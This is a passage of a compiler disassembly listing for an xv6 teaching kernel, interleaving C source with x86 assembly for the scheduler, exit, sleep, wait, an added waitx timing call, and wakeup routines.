$0x1c,%ebx panic("sched locks"); if (p->state == RUNNING) panic("sched running"); if (readeflags() & FL_IF) panic("sched interruptible"); intena = mycpu()->intena; 80103c01: 8b b0 a8 00 00 00 mov 0xa8(%eax),%esi swtch(&p->context, mycpu()->scheduler); 80103c07: e8 04 fb ff ff call 80103710 <mycpu> 80103c0c: 83 ec 08 sub $0x8,%esp 80103c0f: ff 70 04 pushl 0x4(%eax) 80103c12: 53 push %ebx 80103c13: e8 d3 0d 00 00 call 801049eb <swtch> mycpu()->intena = intena; 80103c18: e8 f3 fa ff ff call 80103710 <mycpu> } 80103c1d: 83 c4 10 add $0x10,%esp panic("sched running"); if (readeflags() & FL_IF) panic("sched interruptible"); intena = mycpu()->intena; swtch(&p->context, mycpu()->scheduler); mycpu()->intena = intena; 80103c20: 89 b0 a8 00 00 00 mov %esi,0xa8(%eax) } 80103c26: 8d 65 f8 lea -0x8(%ebp),%esp 80103c29: 5b pop %ebx 80103c2a: 5e pop %esi 80103c2b: 5d pop %ebp 80103c2c: c3 ret { int intena; struct proc *p = myproc(); if (!holding(&ptable.lock)) panic("sched ptable.lock"); 80103c2d: 83 ec 0c sub $0xc,%esp 80103c30: 68 d0 78 10 80 push $0x801078d0 80103c35: e8 36 c7 ff ff call 80100370 <panic> if (mycpu()->ncli != 1) panic("sched locks"); if (p->state == RUNNING) panic("sched running"); if (readeflags() & FL_IF) panic("sched interruptible"); 80103c3a: 83 ec 0c sub $0xc,%esp 80103c3d: 68 fc 78 10 80 push $0x801078fc 80103c42: e8 29 c7 ff ff call 80100370 <panic> if (!holding(&ptable.lock)) panic("sched ptable.lock"); if (mycpu()->ncli != 1) panic("sched locks"); if (p->state == RUNNING) panic("sched running"); 80103c47: 83 ec 0c sub $0xc,%esp 80103c4a: 68 ee 78 10 80 push $0x801078ee 80103c4f: e8 1c c7 ff ff call 80100370 <panic> struct proc *p = myproc(); if (!holding(&ptable.lock)) panic("sched ptable.lock"); if (mycpu()->ncli != 1) panic("sched locks"); 80103c54: 83 ec 0c sub $0xc,%esp 80103c57: 68 e2 78 10 80 push $0x801078e2 80103c5c: e8 0f c7 ff ff call 80100370 <panic> 80103c61: eb 0d jmp 80103c70 <exit> 80103c63: 90 nop 80103c64: 90 nop 80103c65: 90 nop 80103c66: 90 nop 80103c67: 90 nop 80103c68: 90 nop 80103c69: 90 nop 80103c6a: 90 nop 80103c6b: 90 nop 80103c6c: 90 nop 80103c6d: 90 nop 80103c6e: 90 nop 80103c6f: 90 nop 80103c70 <exit>: // Exit the current process. Does not return. // An exited process remains in the zombie state // until its parent calls wait() to find out it exited. void exit(void) { 80103c70: 55 push %ebp 80103c71: 89 e5 mov %esp,%ebp 80103c73: 57 push %edi 80103c74: 56 push %esi 80103c75: 53 push %ebx 80103c76: 83 ec 0c sub $0xc,%esp // while reading proc from the cpu structure struct proc *myproc(void) { struct cpu *c; struct proc *p; pushcli(); 80103c79: e8 32 09 00 00 call 801045b0 <pushcli> c = mycpu(); 80103c7e: e8 8d fa ff ff call 80103710 <mycpu> p = c->proc; 80103c83: 8b b0 ac 00 00 00 mov 0xac(%eax),%esi popcli(); 80103c89: e8 62 09 00 00 call 801045f0 <popcli> { struct proc *curproc = myproc(); struct proc *p; int fd; if (curproc == initproc) 80103c8e: 39 35 b8 a5 10 80 cmp %esi,0x8010a5b8 80103c94: 8d 5e 28 lea 0x28(%esi),%ebx 80103c97: 8d 7e 68 lea 0x68(%esi),%edi 80103c9a: 0f 84 fc 00 00 00 je 80103d9c <exit+0x12c> panic("init exiting"); // Close all open files. for (fd = 0; fd < NOFILE; fd++) { if (curproc->ofile[fd]) 80103ca0: 8b 03 mov (%ebx),%eax 80103ca2: 85 c0 test %eax,%eax 80103ca4: 74 12 je 80103cb8 <exit+0x48> { fileclose(curproc->ofile[fd]); 80103ca6: 83 ec 0c sub $0xc,%esp 80103ca9: 50 push %eax 80103caa: e8 81 d1 ff ff call 80100e30 <fileclose> curproc->ofile[fd] = 0; 80103caf: c7 03 00 00 00 00 movl $0x0,(%ebx) 80103cb5: 83 c4 10 add $0x10,%esp 80103cb8: 83 c3 04 add $0x4,%ebx if (curproc == initproc) panic("init exiting"); // Close all open files. for (fd = 0; fd < NOFILE; fd++) 80103cbb: 39 df cmp %ebx,%edi 80103cbd: 75 e1 jne 80103ca0 <exit+0x30> fileclose(curproc->ofile[fd]); curproc->ofile[fd] = 0; } } begin_op(); 80103cbf: e8 7c ee ff ff call 80102b40 <begin_op> iput(curproc->cwd); 80103cc4: 83 ec 0c sub $0xc,%esp 80103cc7: ff 76 68 pushl 0x68(%esi) 80103cca: e8 c1 da ff ff call 80101790 <iput> end_op(); 80103ccf: e8 dc ee ff ff call 80102bb0 <end_op> curproc->cwd = 0; 80103cd4: c7 46 68 00 00 00 00 movl $0x0,0x68(%esi) acquire(&ptable.lock); 80103cdb: c7 04 24 00 29 11 80 movl $0x80112900,(%esp) 80103ce2: e8 a9 09 00 00 call 80104690 <acquire> // Parent might be sleeping in wait(). wakeup1(curproc->parent); 80103ce7: 8b 56 14 mov 0x14(%esi),%edx 80103cea: 83 c4 10 add $0x10,%esp // The ptable lock must be held. static void wakeup1(void *chan) { struct proc *p; for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103ced: b8 34 29 11 80 mov $0x80112934,%eax 80103cf2: eb 10 jmp 80103d04 <exit+0x94> 80103cf4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103cf8: 05 ac 00 00 00 add $0xac,%eax 80103cfd: 3d 34 54 11 80 cmp $0x80115434,%eax 80103d02: 74 1e je 80103d22 <exit+0xb2> if (p->state == SLEEPING && p->chan == chan) 80103d04: 83 78 0c 02 cmpl $0x2,0xc(%eax) 80103d08: 75 ee jne 80103cf8 <exit+0x88> 80103d0a: 3b 50 20 cmp 0x20(%eax),%edx 80103d0d: 75 e9 jne 80103cf8 <exit+0x88> p->state = RUNNABLE; 80103d0f: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) // The ptable lock must be held. static void wakeup1(void *chan) { struct proc *p; for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103d16: 05 ac 00 00 00 add $0xac,%eax 80103d1b: 3d 34 54 11 80 cmp $0x80115434,%eax 80103d20: 75 e2 jne 80103d04 <exit+0x94> // Pass abandoned children to init. for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) { if (p->parent == curproc) { p->parent = initproc; 80103d22: 8b 0d b8 a5 10 80 mov 0x8010a5b8,%ecx 80103d28: ba 34 29 11 80 mov $0x80112934,%edx 80103d2d: eb 0f jmp 80103d3e <exit+0xce> 80103d2f: 90 nop // Parent might be sleeping in wait(). wakeup1(curproc->parent); // Pass abandoned children to init. for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103d30: 81 c2 ac 00 00 00 add $0xac,%edx 80103d36: 81 fa 34 54 11 80 cmp $0x80115434,%edx 80103d3c: 74 3a je 80103d78 <exit+0x108> { if (p->parent == curproc) 80103d3e: 39 72 14 cmp %esi,0x14(%edx) 80103d41: 75 ed jne 80103d30 <exit+0xc0> { p->parent = initproc; if (p->state == ZOMBIE) 80103d43: 83 7a 0c 05 cmpl $0x5,0xc(%edx) // Pass abandoned children to init. for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) { if (p->parent == curproc) { p->parent = initproc; 80103d47: 89 4a 14 mov %ecx,0x14(%edx) if (p->state == ZOMBIE) 80103d4a: 75 e4 jne 80103d30 <exit+0xc0> 80103d4c: b8 34 29 11 80 mov $0x80112934,%eax 80103d51: eb 11 jmp 80103d64 <exit+0xf4> 80103d53: 90 nop 80103d54: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi // The ptable lock must be held. static void wakeup1(void *chan) { struct proc *p; for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103d58: 05 ac 00 00 00 add $0xac,%eax 80103d5d: 3d 34 54 11 80 cmp $0x80115434,%eax 80103d62: 74 cc je 80103d30 <exit+0xc0> if (p->state == SLEEPING && p->chan == chan) 80103d64: 83 78 0c 02 cmpl $0x2,0xc(%eax) 80103d68: 75 ee jne 80103d58 <exit+0xe8> 80103d6a: 3b 48 20 cmp 0x20(%eax),%ecx 80103d6d: 75 e9 jne 80103d58 <exit+0xe8> p->state = RUNNABLE; 80103d6f: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) 80103d76: eb e0 jmp 80103d58 <exit+0xe8> // Jump into the scheduler, never to return. curproc->state = ZOMBIE; //updating end time curproc->etime = ticks; 80103d78: a1 80 5c 11 80 mov 0x80115c80,%eax wakeup1(initproc); } } // Jump into the scheduler, never to return. curproc->state = ZOMBIE; 80103d7d: c7 46 0c 05 00 00 00 movl $0x5,0xc(%esi) //updating end time curproc->etime = ticks; 80103d84: 89 86 80 00 00 00 mov %eax,0x80(%esi) sched(); 80103d8a: e8 21 fe ff ff call 80103bb0 <sched> panic("zombie exit"); 80103d8f: 83 ec 0c sub $0xc,%esp 80103d92: 68 1d 79 10 80 push $0x8010791d 80103d97: e8 d4 c5 ff ff call 80100370 <panic> struct proc *curproc = myproc(); struct proc *p; int fd; if (curproc == initproc) panic("init exiting"); 80103d9c: 83 ec 0c sub $0xc,%esp 80103d9f: 68 10 79 10 80 push $0x80107910 80103da4: e8 c7 c5 ff ff call 80100370 <panic> 80103da9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103db0 <yield>: mycpu()->intena = intena; } // Give up the CPU for one scheduling round. void yield(void) { 80103db0: 55 push %ebp 80103db1: 89 e5 mov %esp,%ebp 80103db3: 53 push %ebx 80103db4: 83 ec 10 sub $0x10,%esp acquire(&ptable.lock); //DOC: yieldlock 80103db7: 68 00 29 11 80 push $0x80112900 80103dbc: e8 cf 08 00 00 call 80104690 <acquire> // while reading proc from the cpu structure struct proc *myproc(void) { struct cpu *c; struct proc *p; pushcli(); 80103dc1: e8 ea 07 00 00 call 801045b0 <pushcli> c = mycpu(); 80103dc6: e8 45 f9 ff ff call 80103710 <mycpu> p = c->proc; 80103dcb: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103dd1: e8 1a 08 00 00 call 801045f0 <popcli> // Give up the CPU for one scheduling round. void yield(void) { acquire(&ptable.lock); //DOC: yieldlock myproc()->state = RUNNABLE; 80103dd6: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx) sched(); 80103ddd: e8 ce fd ff ff call 80103bb0 <sched> release(&ptable.lock); 80103de2: c7 04 24 00 29 11 80 movl $0x80112900,(%esp) 80103de9: e8 52 09 00 00 call 80104740 <release> } 80103dee: 83 c4 10 add $0x10,%esp 80103df1: 8b 5d fc mov -0x4(%ebp),%ebx 80103df4: c9 leave 80103df5: c3 ret 80103df6: 8d 76 00 lea 0x0(%esi),%esi 80103df9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103e00 <sleep>: } // Atomically release lock and sleep on chan. // Reacquires lock when awakened. void sleep(void *chan, struct spinlock *lk) { 80103e00: 55 push %ebp 80103e01: 89 e5 mov %esp,%ebp 80103e03: 57 push %edi 80103e04: 56 push %esi 80103e05: 53 push %ebx 80103e06: 83 ec 0c sub $0xc,%esp 80103e09: 8b 7d 08 mov 0x8(%ebp),%edi 80103e0c: 8b 75 0c mov 0xc(%ebp),%esi // while reading proc from the cpu structure struct proc *myproc(void) { struct cpu *c; struct proc *p; pushcli(); 80103e0f: e8 9c 07 00 00 call 801045b0 <pushcli> c = mycpu(); 80103e14: e8 f7 f8 ff ff call 80103710 <mycpu> p = c->proc; 80103e19: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103e1f: e8 cc 07 00 00 call 801045f0 <popcli> // Reacquires lock when awakened. void sleep(void *chan, struct spinlock *lk) { struct proc *p = myproc(); if (p == 0) 80103e24: 85 db test %ebx,%ebx 80103e26: 0f 84 87 00 00 00 je 80103eb3 <sleep+0xb3> panic("sleep"); if (lk == 0) 80103e2c: 85 f6 test %esi,%esi 80103e2e: 74 76 je 80103ea6 <sleep+0xa6> // change p->state and then call sched. // Once we hold ptable.lock, we can be // guaranteed that we won't miss any wakeup // (wakeup runs with ptable.lock locked), // so it's okay to release lk. if (lk != &ptable.lock) 80103e30: 81 fe 00 29 11 80 cmp $0x80112900,%esi 80103e36: 74 50 je 80103e88 <sleep+0x88> { //DOC: sleeplock0 acquire(&ptable.lock); //DOC: sleeplock1 80103e38: 83 ec 0c sub $0xc,%esp 80103e3b: 68 00 29 11 80 push $0x80112900 80103e40: e8 4b 08 00 00 call 80104690 <acquire> release(lk); 80103e45: 89 34 24 mov %esi,(%esp) 80103e48: e8 f3 08 00 00 call 80104740 <release> } // Go to sleep. p->chan = chan; 80103e4d: 89 7b 20 mov %edi,0x20(%ebx) p->state = SLEEPING; 80103e50: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx) sched(); 80103e57: e8 54 fd ff ff call 80103bb0 <sched> // Tidy up. p->chan = 0; 80103e5c: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) // Reacquire original lock. if (lk != &ptable.lock) { //DOC: sleeplock2 release(&ptable.lock); 80103e63: c7 04 24 00 29 11 80 movl $0x80112900,(%esp) 80103e6a: e8 d1 08 00 00 call 80104740 <release> acquire(lk); 80103e6f: 89 75 08 mov %esi,0x8(%ebp) 80103e72: 83 c4 10 add $0x10,%esp } } 80103e75: 8d 65 f4 lea -0xc(%ebp),%esp 80103e78: 5b pop %ebx 80103e79: 5e pop %esi 80103e7a: 5f pop %edi 80103e7b: 5d pop %ebp // Reacquire original lock. if (lk != &ptable.lock) { //DOC: sleeplock2 release(&ptable.lock); acquire(lk); 80103e7c: e9 0f 08 00 00 jmp 80104690 <acquire> 80103e81: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi { //DOC: sleeplock0 acquire(&ptable.lock); //DOC: sleeplock1 release(lk); } // Go to sleep. p->chan = chan; 80103e88: 89 7b 20 mov %edi,0x20(%ebx) p->state = SLEEPING; 80103e8b: c7 43 0c 02 00 00 00 movl $0x2,0xc(%ebx) sched(); 80103e92: e8 19 fd ff ff call 80103bb0 <sched> // Tidy up. p->chan = 0; 80103e97: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) if (lk != &ptable.lock) { //DOC: sleeplock2 release(&ptable.lock); acquire(lk); } } 80103e9e: 8d 65 f4 lea -0xc(%ebp),%esp 80103ea1: 5b pop %ebx 80103ea2: 5e pop %esi 80103ea3: 5f pop %edi 80103ea4: 5d pop %ebp 80103ea5: c3 ret if (p == 0) panic("sleep"); if (lk == 0) panic("sleep without lk"); 80103ea6: 83 ec 0c sub $0xc,%esp 80103ea9: 68 2f 79 10 80 push $0x8010792f 80103eae: e8 bd c4 ff ff call 80100370 <panic> void sleep(void *chan, struct spinlock *lk) { struct proc *p = myproc(); if (p == 0) panic("sleep"); 80103eb3: 83 ec 0c sub $0xc,%esp 80103eb6: 68 29 79 10 80 push $0x80107929 80103ebb: e8 b0 c4 ff ff call 80100370 <panic> 80103ec0 <wait>: } // Wait for a child process to exit and return its pid. // Return -1 if this process has no children. int wait(void) { 80103ec0: 55 push %ebp 80103ec1: 89 e5 mov %esp,%ebp 80103ec3: 56 push %esi 80103ec4: 53 push %ebx // while reading proc from the cpu structure struct proc *myproc(void) { struct cpu *c; struct proc *p; pushcli(); 80103ec5: e8 e6 06 00 00 call 801045b0 <pushcli> c = mycpu(); 80103eca: e8 41 f8 ff ff call 80103710 <mycpu> p = c->proc; 80103ecf: 8b b0 ac 00 00 00 mov 0xac(%eax),%esi popcli(); 80103ed5: e8 16 07 00 00 call 801045f0 <popcli> { struct proc *p; int havekids, pid; struct proc *curproc = myproc(); acquire(&ptable.lock); 80103eda: 83 ec 0c sub $0xc,%esp 80103edd: 68 00 29 11 80 push $0x80112900 80103ee2: e8 a9 07 00 00 call 80104690 <acquire> 80103ee7: 83 c4 10 add $0x10,%esp for (;;) { // Scan through table looking for exited children. havekids = 0; 80103eea: 31 c0 xor %eax,%eax for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103eec: bb 34 29 11 80 mov $0x80112934,%ebx 80103ef1: eb 13 jmp 80103f06 <wait+0x46> 80103ef3: 90 nop 80103ef4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103ef8: 81 c3 ac 00 00 00 add $0xac,%ebx 80103efe: 81 fb 34 54 11 80 cmp $0x80115434,%ebx 80103f04: 74 22 je 80103f28 <wait+0x68> { if (p->parent != curproc) 80103f06: 39 73 14 cmp %esi,0x14(%ebx) 80103f09: 75 ed jne 80103ef8 <wait+0x38> continue; havekids = 1; if (p->state == ZOMBIE) 80103f0b: 83 7b 0c 05 cmpl $0x5,0xc(%ebx) 80103f0f: 74 35 je 80103f46 <wait+0x86> acquire(&ptable.lock); for (;;) { // Scan through table looking for exited children. havekids = 0; for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103f11: 81 c3 ac 00 00 00 add $0xac,%ebx { if (p->parent != curproc) continue; havekids = 1; 80103f17: b8 01 00 00 00 mov $0x1,%eax acquire(&ptable.lock); for (;;) { // Scan through table looking for exited children. havekids = 0; for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103f1c: 81 fb 34 54 11 80 cmp $0x80115434,%ebx 80103f22: 75 e2 jne 80103f06 <wait+0x46> 80103f24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return pid; } } // No point waiting if we don't have any children. if (!havekids || curproc->killed) 80103f28: 85 c0 test %eax,%eax 80103f2a: 74 70 je 80103f9c <wait+0xdc> 80103f2c: 8b 46 24 mov 0x24(%esi),%eax 80103f2f: 85 c0 test %eax,%eax 80103f31: 75 69 jne 80103f9c <wait+0xdc> release(&ptable.lock); return -1; } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(curproc, &ptable.lock); //DOC: wait-sleep 80103f33: 83 ec 08 sub $0x8,%esp 80103f36: 68 00 29 11 80 push $0x80112900 80103f3b: 56 push %esi 80103f3c: e8 bf fe ff ff call 80103e00 <sleep> } 80103f41: 83 c4 10 add $0x10,%esp 80103f44: eb a4 jmp 80103eea <wait+0x2a> havekids = 1; if (p->state == ZOMBIE) { // Found one. pid = p->pid; kfree(p->kstack); 80103f46: 83 ec 0c sub $0xc,%esp 80103f49: ff 73 08 pushl 0x8(%ebx) continue; havekids = 1; if (p->state == ZOMBIE) { // Found one. pid = p->pid; 80103f4c: 8b 73 10 mov 0x10(%ebx),%esi kfree(p->kstack); 80103f4f: e8 7c e3 ff ff call 801022d0 <kfree> p->kstack = 0; freevm(p->pgdir); 80103f54: 5a pop %edx 80103f55: ff 73 04 pushl 0x4(%ebx) if (p->state == ZOMBIE) { // Found one. pid = p->pid; kfree(p->kstack); p->kstack = 0; 80103f58: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) freevm(p->pgdir); 80103f5f: e8 7c 30 00 00 call 80106fe0 <freevm> p->pid = 0; 80103f64: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx) p->parent = 0; 80103f6b: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx) p->name[0] = 0; 80103f72: c6 43 6c 00 movb $0x0,0x6c(%ebx) p->killed = 0; 80103f76: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx) p->state = UNUSED; 80103f7d: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) release(&ptable.lock); 80103f84: c7 04 24 00 29 11 80 movl $0x80112900,(%esp) 80103f8b: e8 b0 07 00 00 call 80104740 <release> return pid; 80103f90: 83 c4 10 add $0x10,%esp } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(curproc, &ptable.lock); //DOC: wait-sleep } } 80103f93: 8d 65 f8 lea -0x8(%ebp),%esp p->parent = 0; p->name[0] = 0; p->killed = 0; p->state = UNUSED; release(&ptable.lock); return pid; 80103f96: 89 f0 mov %esi,%eax } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(curproc, &ptable.lock); //DOC: wait-sleep } } 80103f98: 5b pop %ebx 80103f99: 5e pop %esi 80103f9a: 5d pop %ebp 80103f9b: c3 ret } // No point waiting if we don't have any children. if (!havekids || curproc->killed) { release(&ptable.lock); 80103f9c: 83 ec 0c sub $0xc,%esp 80103f9f: 68 00 29 11 80 push $0x80112900 80103fa4: e8 97 07 00 00 call 80104740 <release> return -1; 80103fa9: 83 c4 10 add $0x10,%esp } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(curproc, &ptable.lock); //DOC: wait-sleep } } 80103fac: 8d 65 f8 lea -0x8(%ebp),%esp // No point waiting if we don't have any children. if (!havekids || curproc->killed) { release(&ptable.lock); return -1; 80103faf: b8 ff ff ff ff mov $0xffffffff,%eax } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(curproc, &ptable.lock); //DOC: wait-sleep } } 80103fb4: 5b pop %ebx 80103fb5: 5e pop %esi 80103fb6: 5d pop %ebp 80103fb7: c3 ret 80103fb8: 90 nop 80103fb9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103fc0 <waitx>: int waitx(int *wtime, int *rtime) { 80103fc0: 55 push %ebp 80103fc1: 89 e5 mov %esp,%ebp 80103fc3: 56 push %esi 80103fc4: 53 push %ebx // while reading proc from the cpu structure struct proc *myproc(void) { struct cpu *c; struct proc *p; pushcli(); 80103fc5: e8 e6 05 00 00 call 801045b0 <pushcli> c = mycpu(); 80103fca: e8 41 f7 ff ff call 80103710 <mycpu> p = c->proc; 80103fcf: 8b b0 ac 00 00 00 mov 0xac(%eax),%esi popcli(); 80103fd5: e8 16 06 00 00 call 801045f0 <popcli> { struct proc *p; int havekids, pid; struct proc *curproc = myproc(); acquire(&ptable.lock); 80103fda: 83 ec 0c sub $0xc,%esp 80103fdd: 68 00 29 11 80 push $0x80112900 80103fe2: e8 a9 06 00 00 call 80104690 <acquire> 80103fe7: 83 c4 10 add $0x10,%esp for (;;) { // Scan through table looking for zombie children. havekids = 0; 80103fea: 31 c0 xor %eax,%eax for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103fec: bb 34 29 11 80 mov $0x80112934,%ebx 80103ff1: eb 13 jmp 80104006 <waitx+0x46> 80103ff3: 90 nop 80103ff4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103ff8: 81 c3 ac 00 00 00 add $0xac,%ebx 80103ffe: 81 fb 34 54 11 80 cmp $0x80115434,%ebx 80104004: 74 22 je 80104028 <waitx+0x68> { if (p->parent != curproc) 80104006: 39 73 14 cmp %esi,0x14(%ebx) 80104009: 75 ed jne 80103ff8 <waitx+0x38> continue; havekids = 1; if (p->state == ZOMBIE) 8010400b: 83 7b 0c 05 cmpl $0x5,0xc(%ebx) 8010400f: 74 3d je 8010404e <waitx+0x8e> acquire(&ptable.lock); for (;;) { // Scan through table looking for zombie children. havekids = 0; for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80104011: 81 c3 ac 00 00 00 add $0xac,%ebx { if (p->parent != curproc) continue; havekids = 1; 80104017: b8 01 00 00 00 mov $0x1,%eax acquire(&ptable.lock); for (;;) { // Scan through table looking for zombie children. havekids = 0; for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 8010401c: 81 fb 34 54 11 80 cmp $0x80115434,%ebx 80104022: 75 e2 jne 80104006 <waitx+0x46> 80104024: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return pid; } } // No point waiting if we don't have any children. if (!havekids || curproc->killed) 80104028: 85 c0 test %eax,%eax 8010402a: 0f 84 99 00 00 00 je 801040c9 <waitx+0x109> 80104030: 8b 46 24 mov 0x24(%esi),%eax 80104033: 85 c0 test %eax,%eax 80104035: 0f 85 8e 00 00 00 jne 801040c9 <waitx+0x109> release(&ptable.lock); return -1; } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(curproc, &ptable.lock); //DOC: wait-sleep 8010403b: 83 ec 08 sub $0x8,%esp 8010403e: 68 00 29 11 80 push $0x80112900 80104043: 56 push %esi 80104044: e8 b7 fd ff ff call 80103e00 <sleep> } 80104049: 83 c4 10 add $0x10,%esp 8010404c: eb 9c jmp 80103fea <waitx+0x2a> if (p->state == ZOMBIE) { // Found one. // Added time field update, else same from wait system call *wtime = p->etime - p->stime - p->rtime - p->iotime; 8010404e: 8b 83 80 00 00 00 mov 0x80(%ebx),%eax 80104054: 2b 43 7c sub 0x7c(%ebx),%eax *rtime = p->rtime; // same as wait pid = p->pid; kfree(p->kstack); 80104057: 83 ec 0c sub $0xc,%esp if (p->state == ZOMBIE) { // Found one. // Added time field update, else same from wait system call *wtime = p->etime - p->stime - p->rtime - p->iotime; 8010405a: 2b 83 84 00 00 00 sub 0x84(%ebx),%eax 80104060: 8b 55 08 mov 0x8(%ebp),%edx 80104063: 2b 83 88 00 00 00 sub 0x88(%ebx),%eax 80104069: 89 02 mov %eax,(%edx) *rtime = p->rtime; 8010406b: 8b 45 0c mov 0xc(%ebp),%eax 8010406e: 8b 93 84 00 00 00 mov 0x84(%ebx),%edx 80104074: 89 10 mov %edx,(%eax) // same as wait pid = p->pid; kfree(p->kstack); 80104076: ff 73 08 pushl 0x8(%ebx) // Added time field update, else same from wait system call *wtime = p->etime - p->stime - p->rtime - p->iotime; *rtime = p->rtime; // same as wait pid = p->pid; 80104079: 8b 73 10 mov 0x10(%ebx),%esi kfree(p->kstack); 8010407c: e8 4f e2 ff ff call 801022d0 <kfree> p->kstack = 0; freevm(p->pgdir); 80104081: 5a pop %edx 80104082: ff 73 04 pushl 0x4(%ebx) *rtime = p->rtime; // same as wait pid = p->pid; kfree(p->kstack); p->kstack = 0; 80104085: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) freevm(p->pgdir); 8010408c: e8 4f 2f 00 00 call 80106fe0 <freevm> p->pid = 0; 80104091: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx) p->parent = 0; 80104098: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx) p->name[0] = 0; 8010409f: c6 43 6c 00 movb $0x0,0x6c(%ebx) p->killed = 0; 801040a3: c7 43 24 00 00 00 00 movl $0x0,0x24(%ebx) p->state = UNUSED; 801040aa: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) release(&ptable.lock); 801040b1: c7 04 24 00 29 11 80 movl $0x80112900,(%esp) 801040b8: e8 83 06 00 00 call 80104740 <release> return pid; 801040bd: 83 c4 10 add $0x10,%esp } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(curproc, &ptable.lock); //DOC: wait-sleep } } 801040c0: 8d 65 f8 lea -0x8(%ebp),%esp p->parent = 0; p->name[0] = 0; p->killed = 0; p->state = UNUSED; release(&ptable.lock); return pid; 801040c3: 89 f0 mov %esi,%eax } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(curproc, &ptable.lock); //DOC: wait-sleep } } 801040c5: 5b pop %ebx 801040c6: 5e pop %esi 801040c7: 5d pop %ebp 801040c8: c3 ret } // No point waiting if we don't have any children. if (!havekids || curproc->killed) { release(&ptable.lock); 801040c9: 83 ec 0c sub $0xc,%esp 801040cc: 68 00 29 11 80 push $0x80112900 801040d1: e8 6a 06 00 00 call 80104740 <release> return -1; 801040d6: 83 c4 10 add $0x10,%esp } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(curproc, &ptable.lock); //DOC: wait-sleep } } 801040d9: 8d 65 f8 lea -0x8(%ebp),%esp // No point waiting if we don't have any children. if (!havekids || curproc->killed) { release(&ptable.lock); return -1; 801040dc: b8 ff ff ff ff mov $0xffffffff,%eax } // Wait for children to exit. (See wakeup1 call in proc_exit.) sleep(curproc, &ptable.lock); //DOC: wait-sleep } } 801040e1: 5b pop %ebx 801040e2: 5e pop %esi 801040e3: 5d pop %ebp 801040e4: c3 ret 801040e5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801040e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801040f0 <wakeup>: p->state = RUNNABLE; } // Wake up all processes sleeping on chan. void wakeup(void *chan) { 801040f0: 55 push %ebp 801040f1: 89 e5 mov %esp,%ebp 801040f3: 53 push %ebx 801040f4: 83 ec 10 sub $0x10,%esp 801040f7: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&ptable.lock); 801040fa: 68 00 29 11 80 push $0x80112900 801040ff: e8 8c 05 00 00 call 80104690 <acquire> 80104104: 83 c4 10 add $0x10,%esp // The ptable lock must be held. static void wakeup1(void *chan) { struct proc *p; for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80104107: b8 34 29 11 80 mov $0x80112934,%eax 8010410c: eb 0e jmp 8010411c <wakeup+0x2c> 8010410e: 66 90 xchg %ax,%ax 80104110: 05 ac 00 00 00 add $0xac,%eax 80104115: 3d 34 54 11 80 cmp $0x80115434,%eax 8010411a: 74 1e je 8010413a <wakeup+0x4a> if (p->state == SLEEPING && p->chan == chan) 8010411c: 83 78 0c 02 cmpl $0x2,0xc(%eax) 80104120: 75 ee jne 80104110 <wakeup+0x20> 80104122: 3b 58 20 cmp 0x20(%eax),%ebx 80104125: 75 e9 jne 80104110 <wakeup+0x20> p->state = RUNNABLE; 80104127: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) // The ptable lock must be held. static void wakeup1(void *chan) { struct proc *p; for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 8010412e: 05 ac 00 00 00 add $0xac,%eax 80104133: 3d 34 54 11 80 cmp $0x80115434,%eax 80104138: 75 e2 jne 8010411c <wakeup+0x2c> // Wake up all processes sleeping on chan. void wakeup(void *chan) { acquire(&ptable.lock); wakeup1(chan); release(&ptable.lock); 8010413a: c7 45 08 00 29 11 80 movl 